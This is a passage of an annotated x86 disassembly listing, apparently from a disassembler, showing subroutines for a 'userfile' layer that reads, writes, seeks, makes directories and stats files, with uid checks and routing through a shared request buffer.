0805eb1d  68 49 53 07 08           push   $0x8075349   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                        "userfile_close: type %d"
0805eb22  e8 35 14 ff ff           call   0804ff5c <Unknown0044>
0805eb27  b8 ff ff ff ff           mov    $0xffffffff,%eax   ;-1 'xff xff xff xff' ""
0805eb2c  8d 65 f8                 lea    0xfffffff8(%ebp),%esp
0805eb2f  5b                       pop    %ebx
0805eb30  5e                       pop    %esi
0805eb31  5d                       pop    %ebp
0805eb32  c3                       ret
0805eb33  90                       nop
```

```
    ;
    ; >---------------------<   Subroutine # 281 >---------------------<
    ;
0805eb34 <Unknown0281>:
0805eb34  55                    push   %ebp
0805eb35  89 e5                 mov    %esp,%ebp
0805eb37  56                    push   %esi
0805eb38  53                    push   %ebx
0805eb39  83 ec 10              sub    $0x10,%esp
0805eb3c  8b 5d 08              mov    0x8(%ebp),%ebx
0805eb3f  8b 83 0c 02 00 00     mov    0x20c(%ebx),%eax   ;524 'xc x2 x0 x0' ""
0805eb45  39 83 08 02 00 00     cmp    %eax,0x208(%ebx)   ;520 'x8 x2 x0 x0' ""
0805eb4b  73 10                 jae    0805eb5d <Unknown0281+0x29>
0805eb4d  83 ec 0c              sub    $0xc,%esp
0805eb50  68 80 53 07 08        push   $0x8075380   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                    "userfile_fill: buffer not empty"
0805eb55  e8 02 14 ff ff        call   0804ff5c <Unknown0044>
0805eb5a  83 c4 10              add    $0x10,%esp
0805eb5d  8b 03                 mov    (%ebx),%eax
0805eb5f  85 c0                 test   %eax,%eax
0805eb61  74 09                 je     0805eb6c <Unknown0281+0x38>
0805eb63  48                    dec    %eax
0805eb64  74 2a                 je     0805eb90 <Unknown0281+0x5c>
0805eb66  e9 c9 00 00 00        jmp    0805ec34 <Unknown0281+0x100>  ;201 'xc9 x0 x0 x0' ""
0805eb6b  90                    nop
0805eb6c  52                    push   %edx
0805eb6d  68 00 02 00 00        push   $0x200   ;512 'x0 x2 x0 x0' ""
0805eb72  8d 43 08              lea    0x8(%ebx),%eax
0805eb75  50                    push   %eax
0805eb76  ff 73 04              pushl  0x4(%ebx)
0805eb79  e8 2e b9 fe ff        call   0804a4ac <read>
0805eb7e  83 c4 10              add    $0x10,%esp
0805eb81  85 c0                 test   %eax,%eax
0805eb83  0f 8f 97 00 00 00     jg     0805ec20 <Unknown0281+0xec>   ;151 'x97 x0 x0 x0' ""
0805eb89  e9 8e 00 00 00        jmp    0805ec1c <Unknown0281+0xe8>   ;142 'x8e x0 x0 x0' ""
0805eb8e  89 f6                 mov    %esi,%esi
0805eb90  83 ec 0c              sub    $0xc,%esp
0805eb93  6a 03                 push   $0x3
0805eb95  e8 6a f1 ff ff        call   0805dd04 <Unknown0268>
0805eb9a  5e                    pop    %esi
0805eb9b  58                    pop    %eax
0805eb9c  ff 73 04              pushl  0x4(%ebx)
0805eb9f  68 78 c1 07 08        push   $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805eba4  e8 cf be ff ff        call   0805aa78 <Unknown0222>
0805eba9  5a                    pop    %edx
0805ebaa  59                    pop    %ecx
0805ebab  68 00 02 00 00        push   $0x200   ;512 'x0 x2 x0 x0' ""
0805ebb0  68 78 c1 07 08        push   $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805ebb5  e8 be be ff ff        call   0805aa78 <Unknown0222>
0805ebba  e8 8d f1 ff ff        call   0805dd4c <Unknown0269>
0805ebbf  c7 04 24 04 00 00 00  movl   $0x4,(%esp,1)   ;4 'x4 x0 x0 x0' ""
0805ebc6  e8 19 f4 ff ff        call   0805dfe4 <Unknown0271>
0805ebcb  5e                    pop    %esi
0805ebcc  58                    pop    %eax
0805ebcd  8d 45 f4              lea    0xfffffff4(%ebp),%eax
0805ebd0  50                    push   %eax
0805ebd1  68 78 c1 07 08        push   $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805ebd6  e8 e5 be ff ff        call   0805aac0 <Unknown0223>
0805ebdb  8b 55 f4              mov    0xfffffff4(%ebp),%edx
0805ebde  83 c4 10              add    $0x10,%esp
0805ebe1  81 fa 00 02 00 00     cmp    $0x200,%edx   ;512 'x0 x2 x0 x0' ""
0805ebe7  89 c6                 mov    %eax,%esi
0805ebe9  76 13                 jbe    0805ebfe <Unknown0281+0xca>
0805ebeb  83 ec 0c              sub    $0xc,%esp
0805ebee  68 a0 53 07 08        push   $0x80753a0   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                    "userfile_fill: got more than data than requested"
0805ebf3  e8 64 13 ff ff        call   0804ff5c <Unknown0044>
0805ebf8  83 c4 10              add    $0x10,%esp
0805ebfb  8b 55 f4              mov    0xfffffff4(%ebp),%edx
0805ebfe  51                    push   %ecx
0805ebff  52                    push   %edx
0805ec00  56                    push   %esi
0805ec01  8d 43 08              lea    0x8(%ebx),%eax
0805ec04  50                    push   %eax
0805ec05  e8 32 b6 fe ff        call   0804a23c <memcpy>
0805ec0a  89 34 24              mov    %esi,(%esp,1)
0805ec0d  e8 fe 82 ff ff        call   08056f10 <Unknown0172>
0805ec12  8b 45 f4              mov    0xfffffff4(%ebp),%eax
0805ec15  83 c4 10              add    $0x10,%esp
0805ec18  85 c0                 test   %eax,%eax
0805ec1a  75 04                 jne    0805ec20 <Unknown0281+0xec>
0805ec1c  31 c0                 xor    %eax,%eax
```

```
0805ec1e   eb 2b                       jmp     0805ec4b <Unknown0281+0x117>
0805ec20   c7 83 08 02 00 00 00 00 00 00  movl  $0x0,0x208(%ebx)   ;0 'x0 x0 x0 x0' ""
0805ec2a   89 83 0c 02 00 00           mov     %eax,0x20c(%ebx)   ;524 'xc x2 x0 x0' ""
0805ec30   eb 14                       jmp     0805ec46 <Unknown0281+0x112>
0805ec32   89 f6                       mov     %esi,%esi
0805ec34   83 ec 08                    sub     $0x8,%esp
0805ec37   ff 33                       pushl   (%ebx)
0805ec39   68 d1 53 07 08              push    $0x80753d1 ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                          "userfile_fill: type %d"
0805ec3e   e8 19 13 ff ff              call    0804ff5c <Unknown0044>
0805ec43   83 c4 10                    add     $0x10,%esp
0805ec46   b8 01 00 00 00              mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0805ec4b   8d 65 f8                    lea     0xfffffff8(%ebp),%esp
0805ec4e   5b                          pop     %ebx
0805ec4f   5e                          pop     %esi
0805ec50   5d                          pop     %ebp
0805ec51   c3                          ret
0805ec52   89 f6                       mov     %esi,%esi


   ;
   ; >---------------------<  Subroutine # 282 >---------------------<
   ;
0805ec54 <Unknown0282>:
0805ec54   55                          push    %ebp
0805ec55   89 e5                       mov     %esp,%ebp
0805ec57   53                          push    %ebx
0805ec58   51                          push    %ecx
0805ec59   8b 5d 08                    mov     0x8(%ebp),%ebx
0805ec5c   8b 93 08 02 00 00           mov     0x208(%ebx),%edx   ;520 'x8 x2 x0 x0' ""
0805ec62   3b 93 0c 02 00 00           cmp     0x20c(%ebx),%edx   ;524 'xc x2 x0 x0' ""
0805ec68   72 3e                       jb      0805eca8 <Unknown0282+0x54>
0805ec6a   83 ec 0c                    sub     $0xc,%esp
0805ec6d   53                          push    %ebx
0805ec6e   e8 c1 fe ff ff              call    0805eb34 <Unknown0281>
0805ec73   83 c4 10                    add     $0x10,%esp
0805ec76   85 c0                       test    %eax,%eax
0805ec78   75 0a                       jne     0805ec84 <Unknown0282+0x30>
0805ec7a   b8 ff ff ff ff              mov     $0xffffffff,%eax   ;-1 'xff xff xff xff' ""
0805ec7f   eb 33                       jmp     0805ecb4 <Unknown0282+0x60>
0805ec81   8d 76 00                    lea     0x0(%esi),%esi
0805ec84   8b 93 08 02 00 00           mov     0x208(%ebx),%edx   ;520 'x8 x2 x0 x0' ""
0805ec8a   3b 93 0c 02 00 00           cmp     0x20c(%ebx),%edx   ;524 'xc x2 x0 x0' ""
0805ec90   72 16                       jb      0805eca8 <Unknown0282+0x54>
0805ec92   83 ec 0c                    sub     $0xc,%esp
0805ec95   68 e8 53 07 08              push    $0x80753e8  ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                           "userfile_getc/fill error"
0805ec9a   e8 bd 12 ff ff              call    0804ff5c <Unknown0044>
0805ec9f   83 c4 10                    add     $0x10,%esp
0805eca2   8b 93 08 02 00 00           mov     0x208(%ebx),%edx   ;520 'x8 x2 x0 x0' ""
0805eca8   0f b6 44 1a 08              movzbl  0x8(%edx,%ebx,1),%eax
0805ecad   42                          inc     %edx
0805ecae   89 93 08 02 00 00           mov     %edx,0x208(%ebx)   ;520 'x8 x2 x0 x0' ""
0805ecb4   8b 5d fc                    mov     0xfffffffc(%ebp),%ebx
0805ecb7   c9                          leave
0805ecb8   c3                          ret
0805ecb9   8d 76 00                    lea     0x0(%esi),%esi


   ;
   ; >---------------------<  Subroutine # 283 >---------------------<
   ;
0805ecbc <Unknown0283>:
0805ecbc   55                          push    %ebp
0805ecbd   89 e5                       mov     %esp,%ebp
0805ecbf   57                          push    %edi
0805ecc0   56                          push    %esi
0805ecc1   53                          push    %ebx
0805ecc2   83 ec 0c                    sub     $0xc,%esp
0805ecc5   31 db                       xor     %ebx,%ebx
0805ecc7   8b 7d 0c                    mov     0xc(%ebp),%edi
0805ecca   8b 75 10                    mov     0x10(%ebp),%esi
0805eccd   eb 05                       jmp     0805ecd4 <Unknown0283+0x18>
0805eccf   90                          nop
0805ecd0   88 04 3b                    mov     %al,(%ebx,%edi,1)
0805ecd3   43                          inc     %ebx
0805ecd4   39 f3                       cmp     %esi,%ebx
0805ecd6   73 13                       jae     0805eceb <Unknown0283+0x2f>
0805ecd8   83 ec 0c                    sub     $0xc,%esp
0805ecdb   ff 75 08                    pushl   0x8(%ebp)
0805ecde   e8 71 ff ff ff              call    0805ec54 <Unknown0282>
0805ece3   83 c4 10                    add     $0x10,%esp
0805ece6   83 f8 ff                    cmp     $0xffffffff,%eax
0805ece9   75 e5                       jne     0805ecd0 <Unknown0283+0x14>
```

```
0805eceb  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0805ecee  89 d8                 mov     %ebx,%eax
0805ecf0  5b                    pop     %ebx
0805ecf1  5e                    pop     %esi
0805ecf2  5f                    pop     %edi
0805ecf3  5d                    pop     %ebp
0805ecf4  c3                    ret
0805ecf5  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 284 >--------------------<
  ;
0805ecf8 <Unknown0284>:
0805ecf8  55                    push    %ebp
0805ecf9  89 e5                 mov     %esp,%ebp
0805ecfb  57                    push    %edi
0805ecfc  56                    push    %esi
0805ecfd  53                    push    %ebx
0805ecfe  83 ec 0c              sub     $0xc,%esp
0805ed01  8b 45 08              mov     0x8(%ebp),%eax
0805ed04  89 45 f0              mov     %eax,0xfffffff0(%ebp)
0805ed07  8b 4d f0              mov     0xfffffff0(%ebp),%ecx
0805ed0a  8b 11                 mov     (%ecx),%edx
0805ed0c  85 d2                 test    %edx,%edx
0805ed0e  8b 45 0c              mov     0xc(%ebp),%eax
0805ed11  8b 7d 10              mov     0x10(%ebp),%edi
0805ed14  74 0a                 je      0805ed20 <Unknown0284+0x28>
0805ed16  4a                    dec     %edx
0805ed17  74 23                 je      0805ed3c <Unknown0284+0x44>
0805ed19  e9 a6 00 00 00        jmp     0805edc4 <Unknown0284+0xcc>   ;166 'xa6 x0 x0 x0' ""
0805ed1e  89 f6                 mov     %esi,%esi
0805ed20  8b 55 f0              mov     0xfffffff0(%ebp),%edx
0805ed23  89 45 0c              mov     %eax,0xc(%ebp)
0805ed26  8b 42 04              mov     0x4(%edx),%eax
0805ed29  89 7d 10              mov     %edi,0x10(%ebp)
0805ed2c  89 45 08              mov     %eax,0x8(%ebp)
0805ed2f  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0805ed32  5b                    pop     %ebx
0805ed33  5e                    pop     %esi
0805ed34  5f                    pop     %edi
0805ed35  5d                    pop     %ebp
0805ed36  e9 71 af fe ff        jmp     08049cac <write>   ;-86159 'x71 xaf xfe xff' "q"
0805ed3b  90                    nop
0805ed3c  31 f6                 xor     %esi,%esi
0805ed3e  39 fe                 cmp     %edi,%esi
0805ed40  89 45 ec              mov     %eax,0xffffffec(%ebp)
0805ed43  73 72                 jae     0805edb7 <Unknown0284+0xbf>
0805ed45  8d 76 00              lea     0x0(%esi),%esi
0805ed48  89 fb                 mov     %edi,%ebx
0805ed4a  29 f3                 sub     %esi,%ebx
0805ed4c  81 fb 80 3e 00 00     cmp     $0x3e80,%ebx   ;16000 'x80 x3e x0 x0' ""
0805ed52  76 05                 jbe     0805ed59 <Unknown0284+0x61>
0805ed54  bb 80 3e 00 00        mov     $0x3e80,%ebx   ;16000 'x80 x3e x0 x0' ""
0805ed59  83 ec 0c              sub     $0xc,%esp
0805ed5c  6a 05                 push    $0x5
0805ed5e  e8 a1 ef ff ff        call    0805dd04 <Unknown0268>
0805ed63  58                    pop     %eax
0805ed64  5a                    pop     %edx
0805ed65  8b 4d f0              mov     0xfffffff0(%ebp),%ecx
0805ed68  ff 71 04              pushl   0x4(%ecx)
0805ed6b  68 78 c1 07 08        push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805ed70  e8 03 bd ff ff        call    0805aa78 <Unknown0222>
0805ed75  83 c4 0c              add     $0xc,%esp
0805ed78  53                    push    %ebx
0805ed79  8b 45 ec              mov     0xffffffec(%ebp),%eax
0805ed7c  01 f0                 add     %esi,%eax
0805ed7e  50                    push    %eax
0805ed7f  68 78 c1 07 08        push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805ed84  e8 9f bd ff ff        call    0805ab28 <Unknown0224>
0805ed89  e8 be ef ff ff        call    0805dd4c <Unknown0269>
0805ed8e  c7 04 24 06 00 00 00  movl    $0x6,(%esp)   ;6 'x6 x0 x0 x0' ""
0805ed95  e8 4a f2 ff ff        call    0805dfe4 <Unknown0271>
0805ed9a  c7 04 24 78 c1 07 08  movl    $0x807c178,(%esp,1)   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805eda1  e8 9a bc ff ff        call    0805aa40 <Unknown0221>
0805eda6  83 c4 10              add     $0x10,%esp
0805eda9  85 c0                 test    %eax,%eax
0805edab  78 0f                 js      0805edbc <Unknown0284+0xc4>
0805edad  01 c6                 add     %eax,%esi
0805edaf  39 d8                 cmp     %ebx,%eax
0805edb1  75 04                 jne     0805edb7 <Unknown0284+0xbf>
0805edb3  39 fe                 cmp     %edi,%esi
0805edb5  72 91                 jb      0805ed48 <Unknown0284+0x50>
0805edb7  89 f0                 mov     %esi,%eax
```

```
0805edb9   eb 1d                           jmp      0805edd8 <Unknown0284+0xe0>
0805edbb   90                              nop
0805edbc   b8 ff ff ff ff                  mov      $0xffffffff,%eax   ;-1 'xff xff xff xff' ""
0805edc1   eb 15                           jmp      0805edd8 <Unknown0284+0xe0>
0805edc3   90                              nop
0805edc4   8b 45 f0                        mov      0xfffffff0(%ebp),%eax
0805edc7   83 ec 08                        sub      $0x8,%esp
0805edca   ff 30                           pushl    (%eax)
0805edcc   68 01 54 07 08                  push     $0x8075401   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                                 "userfile_write: type %d"
0805edd1   e8 86 11 ff ff                  call     0804ff5c <Unknown0044>
0805edd6   31 c0                           xor      %eax,%eax
0805edd8   8d 65 f4                        lea      0xfffffff4(%ebp),%esp
0805eddb   5b                              pop      %ebx
0805eddc   5e                              pop      %esi
0805eddd   5f                              pop      %edi
0805edde   5d                              pop      %ebp
0805eddf   c3                              ret


   ;
   ; >---------------------< Subroutine # 285 >---------------------<
   ;
0805ede0 <Unknown0285>:
0805ede0   55                              push     %ebp
0805ede1   89 e5                           mov      %esp,%ebp
0805ede3   57                              push     %edi
0805ede4   56                              push     %esi
0805ede5   53                              push     %ebx
0805ede6   83 ec 0c                        sub      $0xc,%esp
0805ede9   8b 7d 0c                        mov      0xc(%ebp),%edi
0805edec   8b 75 08                        mov      0x8(%ebp),%esi
0805edef   31 db                           xor      %ebx,%ebx
0805edf1   4f                              dec      %edi
0805edf2   89 f6                           mov      %esi,%esi
0805edf4   39 fb                           cmp      %edi,%ebx
0805edf6   73 1c                           jae      0805ee14 <Unknown0285+0x34>
0805edf8   83 ec 0c                        sub      $0xc,%esp
0805edfb   ff 75 10                        pushl    0x10(%ebp)
0805edfe   e8 51 fe ff ff                  call     0805ec54 <Unknown0282>
0805ee03   83 c4 10                        add      $0x10,%esp
0805ee06   83 f8 ff                        cmp      $0xffffffff,%eax
0805ee09   74 09                           je       0805ee14 <Unknown0285+0x34>
0805ee0b   88 04 33                        mov      %al,(%ebx,%esi,1)
0805ee0e   43                              inc      %ebx
0805ee0f   83 f8 0a                        cmp      $0xa,%eax
0805ee12   75 e0                           jne      0805edf4 <Unknown0285+0x14>
0805ee14   85 db                           test     %ebx,%ebx
0805ee16   75 04                           jne      0805ee1c <Unknown0285+0x3c>
0805ee18   31 c0                           xor      %eax,%eax
0805ee1a   eb 06                           jmp      0805ee22 <Unknown0285+0x42>
0805ee1c   c6 04 33 00                     movb     $0x0,(%ebx,%esi,1)
0805ee20   89 f0                           mov      %esi,%eax
0805ee22   8d 65 f4                        lea      0xfffffff4(%ebp),%esp
0805ee25   5b                              pop      %ebx
0805ee26   5e                              pop      %esi
0805ee27   5f                              pop      %edi
0805ee28   5d                              pop      %ebp
0805ee29   c3                              ret
0805ee2a   89 f6                           mov      %esi,%esi


   ;
   ; >---------------------< Subroutine # 286 >---------------------<
   ;
0805ee2c <Unknown0286>:
0805ee2c   55                              push     %ebp
0805ee2d   89 e5                           mov      %esp,%ebp
0805ee2f   57                              push     %edi
0805ee30   56                              push     %esi
0805ee31   53                              push     %ebx
0805ee32   83 ec 0c                        sub      $0xc,%esp
0805ee35   8b 5d 08                        mov      0x8(%ebp),%ebx
0805ee38   8b 03                           mov      (%ebx),%eax
0805ee3a   85 c0                           test     %eax,%eax
0805ee3c   8b 75 0c                        mov      0xc(%ebp),%esi
0805ee3f   8b 7d 10                        mov      0x10(%ebp),%edi
0805ee42   74 1c                           je       0805ee60 <Unknown0286+0x34>
0805ee44   48                              dec      %eax
0805ee45   74 31                           je       0805ee78 <Unknown0286+0x4c>
0805ee47   83 ec 08                        sub      $0x8,%esp
0805ee4a   ff 33                           pushl    (%ebx)
0805ee4c   68 19 54 07 08                  push     $0x8075419   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
```

"userfile_lseek: type %d"

```
0805ee51  e8 06 11 ff ff        call    0804ff5c <Unknown0044>
0805ee56  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0805ee59  5b                    pop     %ebx
0805ee5a  5e                    pop     %esi
0805ee5b  31 c0                 xor     %eax,%eax
0805ee5d  5f                    pop     %edi
0805ee5e  5d                    pop     %ebp
0805ee5f  c3                    ret
0805ee60  8b 43 04              mov     0x4(%ebx),%eax
0805ee63  89 7d 10              mov     %edi,0x10(%ebp)
0805ee66  89 75 0c              mov     %esi,0xc(%ebp)
0805ee69  89 45 08              mov     %eax,0x8(%ebp)
0805ee6c  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0805ee6f  5b                    pop     %ebx
0805ee70  5e                    pop     %esi
0805ee71  5f                    pop     %edi
0805ee72  5d                    pop     %ebp
0805ee73  e9 a4 b3 fe ff        jmp     0804a21c <lseek>   ;-85084 'xa4 xb3 xfe xff' ""
0805ee78  83 ec 0c              sub     $0xc,%esp
0805ee7b  6a 09                 push    $0x9
0805ee7d  e8 82 ee ff ff        call    0805dd04 <Unknown0268>
0805ee82  59                    pop     %ecx
0805ee83  58                    pop     %eax
0805ee84  ff 73 04              pushl   0x4(%ebx)
0805ee87  68 78 c1 07 08        push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805ee8c  e8 e7 bb ff ff        call    0805aa78 <Unknown0222>
0805ee91  58                    pop     %eax
0805ee92  5a                    pop     %edx
0805ee93  56                    push    %esi
0805ee94  68 78 c1 07 08        push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805ee99  e8 da bb ff ff        call    0805aa78 <Unknown0222>
0805ee9e  59                    pop     %ecx
0805ee9f  5b                    pop     %ebx
0805eea0  57                    push    %edi
0805eea1  68 78 c1 07 08        push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805eea6  e8 cd bb ff ff        call    0805aa78 <Unknown0222>
0805eeab  e8 9c ee ff ff        call    0805dd4c <Unknown0269>
0805eeb0  c7 04 24 0a 00 00 00  movl    $0xa,(%esp,1)   ;10 'xa x0 x0 x0' ""
0805eeb7  e8 28 f1 ff ff        call    0805dfe4 <Unknown0271>
0805eebc  83 c4 10              add     $0x10,%esp
0805eebf  c7 45 08 78 c1 07 08  movl    $0x807c178,0x8(%ebp)   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805eec6  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0805eec9  5b                    pop     %ebx
0805eeca  5e                    pop     %esi
0805eecb  5f                    pop     %edi
0805eecc  5d                    pop     %ebp
0805eecd  e9 6e bb ff ff        jmp     0805aa40 <Unknown0221>   ;-17554 'x6e xbb xff xff' "n"
0805eed2  89 f6                 mov     %esi,%esi
0805eed4  55                    push    %ebp
0805eed5  89 e5                 mov     %esp,%ebp
0805eed7  57                    push    %edi
0805eed8  56                    push    %esi
0805eed9  53                    push    %ebx
0805eeda  83 ec 0c              sub     $0xc,%esp
0805eedd  8b 7d 08              mov     0x8(%ebp),%edi
0805eee0  8b 5d 0c              mov     0xc(%ebp),%ebx
0805eee3  8b 75 10              mov     0x10(%ebp),%esi
0805eee6  e8 e1 b5 fe ff        call    0804a4cc <geteuid>
0805eeeb  39 c7                 cmp     %eax,%edi
0805eeed  75 15                 jne     0805ef04 <Unknown0286+0xd8>
0805eeef  89 75 0c              mov     %esi,0xc(%ebp)
0805eef2  89 5d 08              mov     %ebx,0x8(%ebp)
0805eef5  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0805eef8  5b                    pop     %ebx
0805eef9  5e                    pop     %esi
0805eefa  5f                    pop     %edi
0805eefb  5d                    pop     %ebp
0805eefc  e9 0b ad fe ff        jmp     08049c0c <mkdir>   ;-86773 'xb xad xfe xff' ""
0805ef01  8d 76 00              lea     0x0(%esi),%esi
0805ef04  a1 b0 82 07 08        mov     0x80782b0,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0805ef09  85 c0                 test    %eax,%eax
0805ef0b  75 11                 jne     0805ef1e <Unknown0286+0xf2>
0805ef0d  83 ec 08              sub     $0x8,%esp
0805ef10  57                    push    %edi
0805ef11  68 31 54 07 08        push    $0x8075431   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                       "userfile_mkdir with uid %d"
0805ef16  e8 41 10 ff ff        call    0804ff5c <Unknown0044>
0805ef1b  83 c4 10              add     $0x10,%esp
0805ef1e  3b 3d b4 82 07 08     cmp     0x80782b4,%edi   ;[in .data] -1 'xff xff xff xff' ""
0805ef24  74 11                 je      0805ef37 <Unknown0286+0x10b>
0805ef26  83 ec 08              sub     $0x8,%esp
0805ef29  57                    push    %edi
```

```
0805ef2a  68 60 54 07 08           push   $0x8075460   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                        "userfile_mkdir with wrong uid %d"
0805ef2f  e8 28 10 ff ff           call   0804ff5c <Unknown0044>
0805ef34  83 c4 10                 add    $0x10,%esp
0805ef37  83 ec 0c                 sub    $0xc,%esp
0805ef3a  6a 0b                    push   $0xb
0805ef3c  e8 c3 ed ff ff           call   0805dd04 <Unknown0268>
0805ef41  89 df                    mov    %ebx,%edi
0805ef43  fc                       cld
0805ef44  31 c0                    xor    %eax,%eax
0805ef46  b9 ff ff ff ff           mov    $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0805ef4b  f2 ae                    repnz scas %es:(%edi),%al
0805ef4d  f7 d1                    not    %ecx
0805ef4f  83 c4 0c                 add    $0xc,%esp
0805ef52  49                       dec    %ecx
0805ef53  51                       push   %ecx
0805ef54  53                       push   %ebx
0805ef55  68 78 c1 07 08           push   $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805ef5a  e8 c9 bb ff ff           call   0805ab28 <Unknown0224>
0805ef5f  5a                       pop    %edx
0805ef60  59                       pop    %ecx
0805ef61  56                       push   %esi
0805ef62  68 78 c1 07 08           push   $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805ef67  e8 0c bb ff ff           call   0805aa78 <Unknown0222>
0805ef6c  e8 db ed ff ff           call   0805dd4c <Unknown0269>
0805ef71  c7 04 24 0c 00 00 00     movl   $0xc,(%esp,1)   ;12 'xc x0 x0 x0' ""
0805ef78  e8 67 f0 ff ff           call   0805dfe4 <Unknown0271>
0805ef7d  83 c4 10                 add    $0x10,%esp
0805ef80  c7 45 08 78 c1 07 08     movl   $0x807c178,0x8(%ebp)   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805ef87  8d 65 f4                 lea    0xfffffff4(%ebp),%esp
0805ef8a  5b                       pop    %ebx
0805ef8b  5e                       pop    %esi
0805ef8c  5f                       pop    %edi
0805ef8d  5d                       pop    %ebp
0805ef8e  e9 ad ba ff ff           jmp    0805aa40 <Unknown0221>   ;-17747 'xad xba xff xff' ""
0805ef93  90                       nop


  ;
  ; >--------------------<  Subroutine # 287 >--------------------<
  ;
0805ef94 <Unknown0287>:
0805ef94  55                       push   %ebp
0805ef95  89 e5                    mov    %esp,%ebp
0805ef97  57                       push   %edi
0805ef98  56                       push   %esi
0805ef99  53                       push   %ebx
0805ef9a  83 ec 0c                 sub    $0xc,%esp
0805ef9d  8b 5d 08                 mov    0x8(%ebp),%ebx
0805efa0  8b 75 0c                 mov    0xc(%ebp),%esi
0805efa3  e8 24 b5 fe ff           call   0804a4cc <geteuid>
0805efa8  39 c3                    cmp    %eax,%ebx
0805efaa  75 14                    jne    0805efc0 <Unknown0287+0x2c>
0805efac  51                       push   %ecx
0805efad  ff 75 10                 pushl  0x10(%ebp)
0805efb0  56                       push   %esi
0805efb1  6a 03                    push   $0x3
0805efb3  e8 74 b0 fe ff           call   0804a02c <__xstat>
0805efb8  83 c4 10                 add    $0x10,%esp
0805efbb  e9 8f 00 00 00           jmp    0805f04f <Unknown0287+0xbb>   ;143 'x8f x0 x0 x0' ""
0805efc0  8b 15 b0 82 07 08        mov    0x80782b0,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0805efc6  85 d2                    test   %edx,%edx
0805efc8  75 11                    jne    0805efdb <Unknown0287+0x47>
0805efca  83 ec 08                 sub    $0x8,%esp
0805efcd  53                       push   %ebx
0805efce  68 81 54 07 08           push   $0x8075481   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                        "userfile_stat with uid %d"
0805efd3  e8 84 0f ff ff           call   0804ff5c <Unknown0044>
0805efd8  83 c4 10                 add    $0x10,%esp
0805efdb  3b 1d b4 82 07 08        cmp    0x80782b4,%ebx   ;[in .data] -1 'xff xff xff xff' ""
0805efe1  74 11                    je     0805eff4 <Unknown0287+0x60>
0805efe3  83 ec 08                 sub    $0x8,%esp
0805efe6  53                       push   %ebx
0805efe7  68 a0 54 07 08           push   $0x80754a0   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                        "userfile_stat with wrong uid %d"
0805efec  e8 6b 0f ff ff           call   0804ff5c <Unknown0044>
0805eff1  83 c4 10                 add    $0x10,%esp
0805eff4  83 ec 0c                 sub    $0xc,%esp
0805eff7  6a 0d                    push   $0xd
0805eff9  89 f7                    mov    %esi,%edi
0805effb  e8 04 ed ff ff           call   0805dd04 <Unknown0268>
0805f000  fc                       cld
0805f001  31 c0                    xor    %eax,%eax
0805f003  b9 ff ff ff ff           mov    $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
```

```
0805f008  f2 ae                    repnz scas %es:(%edi),%al
0805f00a  f7 d1                    not    %ecx
0805f00c  83 c4 0c                 add    $0xc,%esp
0805f00f  49                       dec    %ecx
0805f010  51                       push   %ecx
0805f011  56                       push   %esi
0805f012  68 78 c1 07 08           push   $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805f017  e8 0c bb ff ff           call   0805ab28 <Unknown0224>
0805f01c  e8 2b ed ff ff           call   0805dd4c <Unknown0269>
0805f021  c7 04 24 0e 00 00 00     movl   $0xe,(%esp,1)   ;14 'xe x0 x0 x0' ""
0805f028  e8 b7 ef ff ff           call   0805dfe4 <Unknown0271>
0805f02d  c7 04 24 78 c1 07 08     movl   $0x807c178,(%esp,1)   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805f034  e8 07 ba ff ff           call   0805aa40 <Unknown0221>
0805f039  83 c4 0c                 add    $0xc,%esp
0805f03c  6a 58                    push   $0x58
0805f03e  89 c3                    mov    %eax,%ebx
0805f040  ff 75 10                 pushl  0x10(%ebp)
0805f043  68 78 c1 07 08           push   $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805f048  e8 0b 6a ff ff           call   08055a58 <Unknown0120>
0805f04d  89 d8                    mov    %ebx,%eax
0805f04f  8d 65 f4                 lea    0xfffffff4(%ebp),%esp
0805f052  5b                       pop    %ebx
0805f053  5e                       pop    %esi
0805f054  5f                       pop    %edi
0805f055  5d                       pop    %ebp
0805f056  c3                       ret
0805f057  90                       nop


    ;
    ; >--------------------<  Subroutine # 288 >--------------------<
    ;
0805f058 <Unknown0288>:
0805f058  55                       push   %ebp
0805f059  89 e5                    mov    %esp,%ebp
0805f05b  57                       push   %edi
0805f05c  53                       push   %ebx
